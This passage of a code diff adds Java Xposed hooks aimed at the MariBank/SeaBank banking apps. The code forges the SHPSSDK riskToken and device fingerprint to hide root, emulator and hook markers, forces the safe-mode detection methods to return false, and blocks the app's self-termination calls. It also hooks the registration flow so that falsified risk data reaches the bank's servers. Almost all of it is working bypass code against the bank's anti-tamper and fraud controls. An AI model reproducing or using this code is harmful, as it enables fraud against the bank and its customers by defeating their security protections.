"\"deviceFingerprint\":\"" + neu + "\""));
|
||||
}
|
||||
if (changed) {
|
||||
m.appendTail(sb);
|
||||
out = sb.toString();
|
||||
XposedBridge.log(TAG + " deviceFingerprint sanitized in register JSON");
|
||||
}
|
||||
logRegisterSummary(out);
|
||||
return out;
|
||||
}
|
||||
|
||||
private static void logRegisterSummary(String json) {
|
||||
if (json == null) {
|
||||
return;
|
||||
}
|
||||
String cy = extractJsonString(json, "cyCode");
|
||||
String scene = extractJsonString(json, "scene");
|
||||
String step = extractJsonString(json, "step");
|
||||
Matcher fp = DEVICE_FINGERPRINT.matcher(json);
|
||||
String fpTail = fp.find() ? MariBankRiskTokenUtil.tail(fp.group(1)) : "?";
|
||||
int dataLen = lengthOfJsonString(json, "\"data\"");
|
||||
int dataKeyLen = lengthOfJsonString(json, "\"dataKey\"");
|
||||
XposedBridge.log(TAG + " register summary cy=" + cy + " scene=" + scene
|
||||
+ " step=" + step + " fpTail=" + fpTail
|
||||
+ " dataLen=" + dataLen + " dataKeyLen=" + dataKeyLen);
|
||||
}
|
||||
|
||||
private static String extractJsonString(String json, String key) {
|
||||
Pattern p = Pattern.compile("\"" + Pattern.quote(key) + "\"\\s*:\\s*\"([^\"]*)\"");
|
||||
Matcher m = p.matcher(json);
|
||||
return m.find() ? m.group(1) : "?";
|
||||
}
|
||||
|
||||
private static int lengthOfJsonString(String json, String key) {
|
||||
int idx = json.indexOf(key);
|
||||
if (idx < 0) {
|
||||
return -1;
|
||||
}
|
||||
int start = json.indexOf('"', idx + key.length());
|
||||
if (start < 0) {
|
||||
return -1;
|
||||
}
|
||||
int end = json.indexOf('"', start + 1);
|
||||
if (end < 0) {
|
||||
return -1;
|
||||
}
|
||||
return end - start - 1;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,100 @@
|
||||
package com.miraclegarden.smsmessage.xposed.hook;
|
||||
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.regex.Matcher;
|
||||
import java.util.regex.Pattern;
|
||||
|
||||
import de.robv.android.xposed.XposedBridge;
|
||||
|
||||
/**
|
||||
* SHPSSDK riskToken 净化:尾部 |09|1 → |00|0(Root+Emulator+Hook 标记)。
|
||||
*/
|
||||
final class MariBankRiskTokenUtil {
|
||||
|
||||
private static final String TAG = "notiMessageHook/MariBankRoot";
|
||||
private static final Pattern RISK_TOKEN_JSON = Pattern.compile(
|
||||
"\"riskToken\"\\s*:\\s*\"([^\"]+)\"");
|
||||
private static final Pattern DEVICE_TOKEN_JSON = Pattern.compile(
|
||||
"\"deviceToken\"\\s*:\\s*\"([^\"]+)\"");
|
||||
private static final Pattern RISK_TOKEN_BODY = Pattern.compile(
|
||||
"([A-Za-z0-9+/=]{8,}\\|[A-Za-z0-9+/=_-]{8,}\\|[A-Za-z0-9+/=_-]{3,}\\|)\\d+(\\|\\d+)");
|
||||
|
||||
private MariBankRiskTokenUtil() {
|
||||
}
|
||||
|
||||
static String sanitizeRiskToken(String token) {
|
||||
if (token == null || token.isEmpty() || !token.contains("|")) {
|
||||
return token;
|
||||
}
|
||||
if (!RISK_TOKEN_BODY.matcher(token).find() && !token.matches(".*\\|\\d+\\|\\d+$")) {
|
||||
return token;
|
||||
}
|
||||
int secondLast = token.lastIndexOf('|');
|
||||
if (secondLast <= 0) {
|
||||
return token;
|
||||
}
|
||||
secondLast = token.lastIndexOf('|', secondLast - 1);
|
||||
if (secondLast <= 0) {
|
||||
return token;
|
||||
}
|
||||
String oldTail = token.substring(secondLast + 1);
|
||||
String neu = token.substring(0, secondLast) + "|00|0";
|
||||
XposedBridge.log(TAG + " sanitized riskToken tail " + oldTail + " -> 00|0");
|
||||
return neu;
|
||||
}
|
||||
|
||||
static String sanitizeAllInText(String text) {
|
||||
if (text == null || !text.contains("|")) {
|
||||
return text;
|
||||
}
|
||||
Matcher m = RISK_TOKEN_BODY.matcher(text);
|
||||
StringBuffer sb = new StringBuffer();
|
||||
boolean changed = false;
|
||||
while (m.find()) {
|
||||
m.appendReplacement(sb, Matcher.quoteReplacement(m.group(1) + "00|0"));
|
||||
changed = true;
|
||||
}
|
||||
if (!changed) {
|
||||
String out = sanitizeJsonField(text, RISK_TOKEN_JSON);
|
||||
out = sanitizeJsonField(out, DEVICE_TOKEN_JSON);
|
||||
return out;
|
||||
}
|
||||
m.appendTail(sb);
|
||||
XposedBridge.log(TAG + " sanitized riskToken in text len=" + text.length());
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
static byte[] sanitizeBytes(byte[] data, int offset, int length) {
|
||||
if (data == null || length <= 0) {
|
||||
return data;
|
||||
}
|
||||
String text = new String(data, offset, length, StandardCharsets.UTF_8);
|
||||
if (!text.contains("|")) {
|
||||
return data;
|
||||
}
|
||||
String sanitized = sanitizeAllInText(text);
|
||||
return sanitized.equals(text) ? data : sanitized.getBytes(StandardCharsets.UTF_8);
|
||||
}
|
||||
|
||||
private static String sanitizeJsonField(String text, Pattern fieldPattern) {
|
||||
Matcher json = fieldPattern.matcher(text);
|
||||
if (!json.find()) {
|
||||
return text;
|
||||
}
|
||||
String oldToken = json.group(1);
|
||||
String newToken = sanitizeRiskToken(oldToken);
|
||||
return oldToken.equals(newToken) ? text : text.replace(oldToken, newToken);
|
||||
}
|
||||
|
||||
static String tail(String token) {
|
||||
if (token == null || !token.contains("|")) {
|
||||
return "n/a";
|
||||
}
|
||||
int last = token.lastIndexOf('|');
|
||||
int second = token.lastIndexOf('|', last - 1);
|
||||
if (second < 0) {
|
||||
return "n/a";
|
||||
}
|
||||
return token.substring(second + 1);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,2085 @@
|
||||
package com.miraclegarden.smsmessage.xposed.hook;
|
||||
|
||||
import android.app.Activity;
|
||||
import android.app.Dialog;
|
||||
import android.content.ContentResolver;
|
||||
import android.content.res.Resources;
|
||||
import android.os.Handler;
|
||||
import android.os.Looper;
|
||||
import android.os.Process;
|
||||
import android.view.View;
|
||||
import android.view.ViewGroup;
|
||||
import android.widget.TextView;
|
||||
import android.widget.Toast;
|
||||
|
||||
import java.lang.reflect.InvocationHandler;
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Proxy;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashSet;
|
||||
import java.util.List;
|
||||
import java.util.Set;
|
||||
|
||||
import de.robv.android.xposed.XC_MethodHook;
|
||||
import de.robv.android.xposed.XposedBridge;
|
||||
import de.robv.android.xposed.XposedHelpers;
|
||||
import de.robv.android.xposed.callbacks.XC_LoadPackage;
|
||||
|
||||
/**
|
||||
* MariBank / SeaBank Root 检测绕过(PH + SG)。
|
||||
* 逆向:SafeMode SDK + SHPSSDK;SG 额外有 USB/无线 ADB 检测(RISK_USB_ADB / RISK_WIFI_ADB)。
|
||||
*/
|
||||
public final class MariBankRootBypassHook {
|
||||
|
||||
private static final String TAG = "notiMessageHook/MariBankRoot";
|
||||
/** 菲律宾 MariBank / SeaBank PH */
|
||||
public static final String PACKAGE = "ph.seabank.seabank";
|
||||
/** 新加坡 MariBank */
|
||||
public static final String PACKAGE_SG = "sg.com.maribankmobile.digitalbank";
|
||||
|
||||
private static final String[] TARGET_PACKAGES = {PACKAGE, PACKAGE_SG};
|
||||
|
||||
public static boolean isTargetPackage(String packageName) {
|
||||
if (packageName == null) {
|
||||
return false;
|
||||
}
|
||||
for (String pkg : TARGET_PACKAGES) {
|
||||
if (pkg.equals(packageName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/** 服务端注册被拒错误码(logcat 实测)。 */
|
||||
private static final int ERROR_CODE_SECURITY_BLOCKED = 4067004;
|
||||
private static final int ERROR_CODE_SECURITY_BLOCKED_ALT = 4067012;
|
||||
|
||||
private static final ThreadLocal<String> CURRENT_REQUEST_URL = new ThreadLocal<>();
|
||||
|
||||
/** killProcess 被拦截后的宽限期:此期间阻止 finish 造成「假闪退」。 */
|
||||
private static volatile long lastBlockedSuicideAt = 0L;
|
||||
private static final long SOFT_CRASH_GUARD_MS = 8000L;
|
||||
|
||||
private static volatile int finishBurstCount = 0;
|
||||
private static volatile long finishBurstStartMs = 0L;
|
||||
private static final long FINISH_BURST_WINDOW_MS = 800L;
|
||||
private static final int FINISH_BURST_THRESHOLD = 2;
|
||||
|
||||
private static final String[] ERROR_FLOW_CLASSES = {
|
||||
"com.shopee.bke.biz.user.errorcodehandler.a",
|
||||
"com.shopee.bke.biz.user.errorcodehandler.b",
|
||||
"com.shopee.bke.biz.user.rn.helper.ErrorFlowHelper",
|
||||
"com.shopee.bke.biz.user.viewmodel.RegisterViewModel",
|
||||
};
|
||||
|
||||
private static String[] booleanHookTargets(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
String[] ph = MariBankRegionProfile.safeModeBooleanClasses(lpparam.packageName);
|
||||
String[] shared = MariBankRegionProfile.sharedRiskClasses();
|
||||
String[] out = new String[ph.length + shared.length];
|
||||
System.arraycopy(ph, 0, out, 0, ph.length);
|
||||
System.arraycopy(shared, 0, out, ph.length, shared.length);
|
||||
return out;
|
||||
}
|
||||
|
||||
private MariBankRootBypassHook() {
|
||||
}
|
||||
|
||||
private static volatile boolean deferredHooksInstalled = false;
|
||||
private static volatile boolean lateHooksComplete = false;
|
||||
private static volatile boolean lateHooksCoreInstalled = false;
|
||||
private static volatile boolean lateHandlerRetriesDone = false;
|
||||
private static volatile int lateHookAttempts = 0;
|
||||
private static final int MAX_LATE_HOOK_ATTEMPTS = 10;
|
||||
private static final Set<String> HOOKED_SAFE_MODE_CLASSES = new HashSet<>();
|
||||
|
||||
public static void install(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
if (!isTargetPackage(lpparam.packageName)) {
|
||||
return;
|
||||
}
|
||||
|
||||
XposedBridge.log(TAG + " install for " + lpparam.packageName
|
||||
+ " region=" + MariBankRegionProfile.label(lpparam.packageName));
|
||||
hookAntiSuicide(lpparam);
|
||||
hookAntiSoftCrash(lpparam);
|
||||
scheduleAppHooks(lpparam);
|
||||
}
|
||||
|
||||
/**
|
||||
* 必须在 BkeApplication.attachBaseContext 完成之后安装:
|
||||
* loadPackage 时 ClassLoader 未绑定 split APK,过早 Hook SHPSSDK 会导致 libsdkutils.so 死循环白屏。
|
||||
*/
|
||||
private static void scheduleAppHooks(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
XC_MethodHook afterAttach = new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
installDeferredHooks(lpparam);
|
||||
MariBankShpsNativeHook.installDeferred(lpparam);
|
||||
}
|
||||
};
|
||||
XC_MethodHook afterOnCreate = new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
MariBankShpsNativeHook.installLateNativeHooks(lpparam);
|
||||
scheduleLateAppHooks(lpparam);
|
||||
}
|
||||
};
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"com.shopee.bke.digitalbank.BkeApplication",
|
||||
lpparam.classLoader,
|
||||
"attachBaseContext",
|
||||
"android.content.Context",
|
||||
afterAttach);
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"com.shopee.bke.digitalbank.BkeApplication",
|
||||
lpparam.classLoader,
|
||||
"onCreate",
|
||||
afterOnCreate);
|
||||
hookMainActivityForLateHooks(lpparam);
|
||||
XposedBridge.log(TAG + " waiting attachBaseContext + onCreate for app hooks");
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " BkeApplication hook failed, install now: " + t.getMessage());
|
||||
installDeferredHooks(lpparam);
|
||||
MariBankShpsNativeHook.installDeferred(lpparam);
|
||||
MariBankShpsNativeHook.installLateNativeHooks(lpparam);
|
||||
scheduleLateAppHooks(lpparam);
|
||||
}
|
||||
}
|
||||
|
||||
/** SG split-dex 在 onCreate 时类可能未加载,MainActivity 再试。 */
|
||||
private static void hookMainActivityForLateHooks(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
"com.shopee.bke.digitalbank.ui.MainActivity",
|
||||
lpparam.classLoader,
|
||||
"onResume",
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
scheduleLateAppHooks(lpparam);
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip MainActivity.onResume retry: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static void scheduleLateAppHooks(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
tryInstallLateAppHooks(lpparam, false);
|
||||
}
|
||||
|
||||
/** onCreate 之后补装;SG 3.2.2 split dex 常需延迟重试。 */
|
||||
private static void tryInstallLateAppHooks(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
tryInstallLateAppHooks(lpparam, false);
|
||||
}
|
||||
|
||||
private static void tryInstallLateAppHooks(
|
||||
XC_LoadPackage.LoadPackageParam lpparam, boolean fromSplitDex) {
|
||||
if (lateHooksComplete) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (!lateHooksCoreInstalled) {
|
||||
lateHooksCoreInstalled = true;
|
||||
hookShpsRisk(lpparam);
|
||||
hookShpsToken(lpparam);
|
||||
hookErrorFlowLogging(lpparam);
|
||||
MariBankFullCaptureHook.installLate(lpparam);
|
||||
}
|
||||
|
||||
int booleanHooks = 0;
|
||||
for (String className : booleanHookTargets(lpparam)) {
|
||||
booleanHooks += hookAllBooleanChecks(lpparam, className);
|
||||
}
|
||||
int encryptHooks = MariBankSdkUtilsHook.installLate(lpparam);
|
||||
int attestHooks = MariBankAttestationHook.installLate(lpparam);
|
||||
MariBankDfpHook.installLate(lpparam);
|
||||
MariBankDfpHook.hookDfpEmptyGuards(lpparam);
|
||||
|
||||
if (MariBankRegionProfile.isLateHooksReady(
|
||||
lpparam.packageName, booleanHooks, encryptHooks, attestHooks)) {
|
||||
lateHooksComplete = true;
|
||||
XposedBridge.log(TAG + " late app hooks ready region="
|
||||
+ MariBankRegionProfile.label(lpparam.packageName)
|
||||
+ " booleanHooks=" + booleanHooks
|
||||
+ " encryptHooks=" + encryptHooks + " attestHooks=" + attestHooks
|
||||
+ " attempts=" + lateHookAttempts
|
||||
+ (fromSplitDex ? " viaSplitDex" : ""));
|
||||
return;
|
||||
}
|
||||
|
||||
if (fromSplitDex) {
|
||||
XposedBridge.log(TAG + " split-dex class loaded, safemode still pending encryptHooks="
|
||||
+ encryptHooks + " attestHooks=" + attestHooks);
|
||||
return;
|
||||
}
|
||||
|
||||
if (lateHandlerRetriesDone) {
|
||||
return;
|
||||
}
|
||||
|
||||
lateHookAttempts++;
|
||||
if (lateHookAttempts >= MAX_LATE_HOOK_ATTEMPTS) {
|
||||
lateHandlerRetriesDone = true;
|
||||
XposedBridge.log(TAG + " late handler retries done (split-dex may load later) attempts="
|
||||
+ lateHookAttempts + " encryptHooks=" + encryptHooks
|
||||
+ " attestHooks=" + attestHooks);
|
||||
return;
|
||||
}
|
||||
|
||||
long delay = Math.min(400L * lateHookAttempts, 2500L);
|
||||
XposedBridge.log(TAG + " late hooks retry #" + lateHookAttempts + " in " + delay + "ms");
|
||||
new Handler(Looper.getMainLooper()).postDelayed(
|
||||
() -> tryInstallLateAppHooks(lpparam, false), delay);
|
||||
}
|
||||
|
||||
private static boolean isLateHookTargetClass(String name, String packageName) {
|
||||
if (name == null) {
|
||||
return false;
|
||||
}
|
||||
for (String cn : MariBankRegionProfile.safeModeBooleanClasses(packageName)) {
|
||||
if (cn.equals(name)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
for (String cn : MariBankRegionProfile.sharedRiskClasses()) {
|
||||
if (cn.equals(name)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
for (String prefix : ERROR_FLOW_CLASSES) {
|
||||
if (name.equals(prefix) || name.startsWith(prefix.substring(0, prefix.lastIndexOf('.') + 1))) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return name.startsWith("com.shopee.bke.lib.safemode.")
|
||||
|| name.equals("com.shopee.bke.lib.jni.utils.uvwuvwuv")
|
||||
|| name.equals("com.shopee.bke.lib.jni.utils.uvwwwwuv")
|
||||
|| (MariBankRegionProfile.hasEncryptWrapperD(packageName)
|
||||
&& name.equals("com.shopee.bke.lib.jni.utils.d"))
|
||||
|| name.startsWith("com.shopee.shpssdkbank.")
|
||||
|| (!MariBankRegionProfile.isSingapore(packageName)
|
||||
&& name.startsWith("com.shopee.shpssdk."));
|
||||
}
|
||||
|
||||
/** SG split-dex:safemode / utils.d 延迟加载时在 loadClass 补装 Hook。 */
|
||||
private static void hookClassLoaderSplitDex(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
ClassLoader.class,
|
||||
"loadClass",
|
||||
String.class,
|
||||
boolean.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void afterHookedMethod(MethodHookParam param) {
|
||||
if (param.getThrowable() != null) {
|
||||
return;
|
||||
}
|
||||
String name = (String) param.args[0];
|
||||
if (isLateHookTargetClass(name, lpparam.packageName)) {
|
||||
tryInstallLateAppHooks(lpparam, true);
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
XposedBridge.log(TAG + " ClassLoader.loadClass split-dex watcher OK");
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip ClassLoader.loadClass watcher: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static void installDeferredHooks(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
if (deferredHooksInstalled) {
|
||||
return;
|
||||
}
|
||||
deferredHooksInstalled = true;
|
||||
|
||||
hookSafeModeDialog(lpparam);
|
||||
hookRootDialogBlock(lpparam);
|
||||
hookAdbBypass(lpparam);
|
||||
hookNetworkLogging(lpparam);
|
||||
hookClassLoaderSplitDex(lpparam);
|
||||
|
||||
XposedBridge.log(TAG + " early app hooks installed");
|
||||
}
|
||||
private static int hookAllBooleanChecks(XC_LoadPackage.LoadPackageParam lpparam, String className) {
|
||||
if (HOOKED_SAFE_MODE_CLASSES.contains(className)) {
|
||||
return 0;
|
||||
}
|
||||
int count = 0;
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(className, lpparam.classLoader);
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
if (java.lang.reflect.Modifier.isStatic(method.getModifiers())) {
|
||||
continue;
|
||||
}
|
||||
Class<?> returnType = method.getReturnType();
|
||||
if (returnType != boolean.class && returnType != Boolean.class
|
||||
&& returnType != int.class && returnType != Integer.class) {
|
||||
continue;
|
||||
}
|
||||
if (method.getParameterTypes().length > 2) {
|
||||
continue;
|
||||
}
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
if (returnType == boolean.class || returnType == Boolean.class) {
|
||||
param.setResult(false);
|
||||
} else {
|
||||
param.setResult(0);
|
||||
}
|
||||
}
|
||||
});
|
||||
count++;
|
||||
}
|
||||
if (count > 0) {
|
||||
HOOKED_SAFE_MODE_CLASSES.add(className);
|
||||
XposedBridge.log(TAG + " hooked " + count + " checks in " + className);
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip " + className + ": " + t.getMessage());
|
||||
}
|
||||
return count;
|
||||
}
|
||||
|
||||
/** 阻止检测到 Root 后 Process.killProcess / System.exit 自杀。 */
|
||||
private static void hookAntiSuicide(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
Process.class,
|
||||
"killProcess",
|
||||
int.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
int pid = (Integer) param.args[0];
|
||||
if (pid == Process.myPid()) {
|
||||
lastBlockedSuicideAt = System.currentTimeMillis();
|
||||
XposedBridge.log(TAG + " blocked killProcess(self)");
|
||||
param.setResult(null);
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " killProcess hook failed: " + t.getMessage());
|
||||
}
|
||||
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
System.class,
|
||||
"exit",
|
||||
int.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
lastBlockedSuicideAt = System.currentTimeMillis();
|
||||
XposedBridge.log(TAG + " blocked System.exit");
|
||||
param.setResult(null);
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " System.exit hook failed: " + t.getMessage());
|
||||
}
|
||||
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
Runtime.class,
|
||||
"exit",
|
||||
int.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
lastBlockedSuicideAt = System.currentTimeMillis();
|
||||
XposedBridge.log(TAG + " blocked Runtime.exit");
|
||||
param.setResult(null);
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " Runtime.exit hook failed: " + t.getMessage());
|
||||
}
|
||||
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
Process.class,
|
||||
"sendSignal",
|
||||
int.class,
|
||||
int.class,
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
int pid = (Integer) param.args[0];
|
||||
int signal = (Integer) param.args[1];
|
||||
if (pid == Process.myPid() && (signal == 9 || signal == 15)) {
|
||||
lastBlockedSuicideAt = System.currentTimeMillis();
|
||||
XposedBridge.log(TAG + " blocked sendSignal(self, " + signal + ")");
|
||||
param.setResult(null);
|
||||
}
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " sendSignal hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/** 阻止 killProcess 失败后通过 finish / finishAffinity 把界面关掉(用户感知为闪退,进程其实还在)。 */
|
||||
private static void hookAntiSoftCrash(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
XC_MethodHook blockFinishHook = new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
Activity activity = (Activity) param.thisObject;
|
||||
String methodName = param.method.getName();
|
||||
if (!shouldBlockFinish(activity, methodName)) {
|
||||
return;
|
||||
}
|
||||
XposedBridge.log(TAG + " blocked " + methodName
|
||||
+ " after suicide attempt: " + activity.getClass().getSimpleName());
|
||||
param.setResult(null);
|
||||
}
|
||||
};
|
||||
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(Activity.class, "finish", blockFinishHook);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " finish hook failed: " + t.getMessage());
|
||||
}
|
||||
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(Activity.class, "finishAfterTransition", blockFinishHook);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " finishAfterTransition hook failed: " + t.getMessage());
|
||||
}
|
||||
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
Activity.class,
|
||||
"finishAffinity",
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
Activity activity = (Activity) param.thisObject;
|
||||
if (!shouldBlockFinish(activity, "finishAffinity")) {
|
||||
return;
|
||||
}
|
||||
XposedBridge.log(TAG + " blocked finishAffinity after suicide attempt: "
|
||||
+ activity.getClass().getSimpleName());
|
||||
param.setResult(null);
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " finishAffinity hook failed: " + t.getMessage());
|
||||
}
|
||||
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(
|
||||
Activity.class,
|
||||
"finishAndRemoveTask",
|
||||
new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
Activity activity = (Activity) param.thisObject;
|
||||
if (!shouldBlockFinish(activity, "finishAndRemoveTask")) {
|
||||
return;
|
||||
}
|
||||
XposedBridge.log(TAG + " blocked finishAndRemoveTask after suicide attempt: "
|
||||
+ activity.getClass().getSimpleName());
|
||||
param.setResult(null);
|
||||
}
|
||||
}
|
||||
);
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " finishAndRemoveTask hook failed: " + t.getMessage());
|
||||
}
|
||||
try {
|
||||
XposedHelpers.findAndHookMethod(Activity.class, "moveTaskToBack", boolean.class, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
Activity activity = (Activity) param.thisObject;
|
||||
if (!shouldBlockFinish(activity, "moveTaskToBack")) {
|
||||
return;
|
||||
}
|
||||
XposedBridge.log(TAG + " blocked moveTaskToBack after suicide attempt");
|
||||
param.setResult(null);
|
||||
}
|
||||
});
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " moveTaskToBack hook failed: " + t.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
private static boolean shouldBlockSoftCrash() {
|
||||
return System.currentTimeMillis() - lastBlockedSuicideAt < SOFT_CRASH_GUARD_MS;
|
||||
}
|
||||
|
||||
private static boolean isBkeActivity(Activity activity) {
|
||||
String name = activity.getClass().getName();
|
||||
return name.startsWith("com.shopee.bke") || name.startsWith("com.shopee.bke.digitalbank");
|
||||
}
|
||||
|
||||
private static boolean isUserBackNavigation() {
|
||||
for (StackTraceElement frame : Thread.currentThread().getStackTrace()) {
|
||||
String method = frame.getMethodName();
|
||||
if ("onBackPressed".equals(method) || "onBackInvoked".equals(method)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private static void trackFinishBurst() {
|
||||
long now = System.currentTimeMillis();
|
||||
if (now - finishBurstStartMs > FINISH_BURST_WINDOW_MS) {
|
||||
finishBurstCount = 0;
|
||||
finishBurstStartMs = now;
|
||||
}
|
||||
finishBurstCount++;
|
||||
if (finishBurstCount >= FINISH_BURST_THRESHOLD) {
|
||||
lastBlockedSuicideAt = now;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* finish / finishAffinity 往往先于 killProcess;
|
||||
* finishAffinity 为 Root 检测自杀常用路径,对 bke Activity 直接拦截(保留返回键)。
|
||||
*/
|
||||
private static boolean shouldBlockFinish(Activity activity, String methodName) {
|
||||
String name = activity.getClass().getName();
|
||||
if (name.contains("SafeModeRecoverActivity")) {
|
||||
return false;
|
||||
}
|
||||
if (isUserBackNavigation()) {
|
||||
return false;
|
||||
}
|
||||
if (!isBkeActivity(activity)) {
|
||||
return false;
|
||||
}
|
||||
if ("finishAffinity".equals(methodName) || "finishAndRemoveTask".equals(methodName)) {
|
||||
return true;
|
||||
}
|
||||
trackFinishBurst();
|
||||
if (shouldBlockSoftCrash()) {
|
||||
return true;
|
||||
}
|
||||
if (finishBurstCount >= FINISH_BURST_THRESHOLD) {
|
||||
return true;
|
||||
}
|
||||
return isRiskRelatedStackTrace();
|
||||
}
|
||||
|
||||
private static boolean isRiskRelatedStackTrace() {
|
||||
for (StackTraceElement frame : Thread.currentThread().getStackTrace()) {
|
||||
String cn = frame.getClassName();
|
||||
if (cn.contains("safemode")
|
||||
|| cn.contains("shpssdk")
|
||||
|| cn.contains("com.shopee.bke")
|
||||
|| cn.contains("bke.biz.base.risk")
|
||||
|| cn.contains("errorcodehandler")
|
||||
|| cn.contains("ErrorFlow")) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/** 记录注册/OTP 错误码路径,便于 logcat 定位 -1201 来源。 */
|
||||
private static void hookErrorFlowLogging(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
for (String className : ERROR_FLOW_CLASSES) {
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(className, lpparam.classLoader);
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
XposedBridge.hookMethod(method, new XC_MethodHook() {
|
||||
@Override
|
||||
protected void beforeHookedMethod(MethodHookParam param) {
|
||||
if (param.args == null || param.args.length == 0) {
|
||||
return;
|
||||
}
|
||||
String args = Arrays.toString(param.args);
|
||||
if (args.contains("1201") || args.contains("-1201")
|
||||
|| args.contains("406")
|
||||
|| args.toLowerCase().contains("error")
|
||||
|| args.toLowerCase().contains("unavailable")) {
|
||||
XposedBridge.log(TAG + " " + className + "."
|
||||
+ method.getName() + " args=" + args);
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
} catch (Throwable t) {
|
||||
XposedBridge.log(TAG + " skip error flow " + className + ": " + t.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/** SHPSSDK 风控:仅 Hook 返回 boolean 的实例方法。 */
|
||||
private static int hookShpsRisk(XC_LoadPackage.LoadPackageParam lpparam) {
|
||||
int count = 0;
|
||||
for (String className : MariBankRegionProfile.shpsAssessRiskClasses(lpparam.packageName)) {
|
||||
try {
|
||||
Class<?> clazz = XposedHelpers.findClass(className, lpparam.classLoader);
|
||||
for (Method method : clazz.getDeclaredMethods()) {
|
||||
if (java.lang.reflect.Modifier.isStatic(method.getModifiers())) {
|
||||
continue;
|
||||
}
|
||||
Class<?> returnType = method.getReturnType();
|
||||
if (returnType != boolean.class && returnType != Boolean.class) {
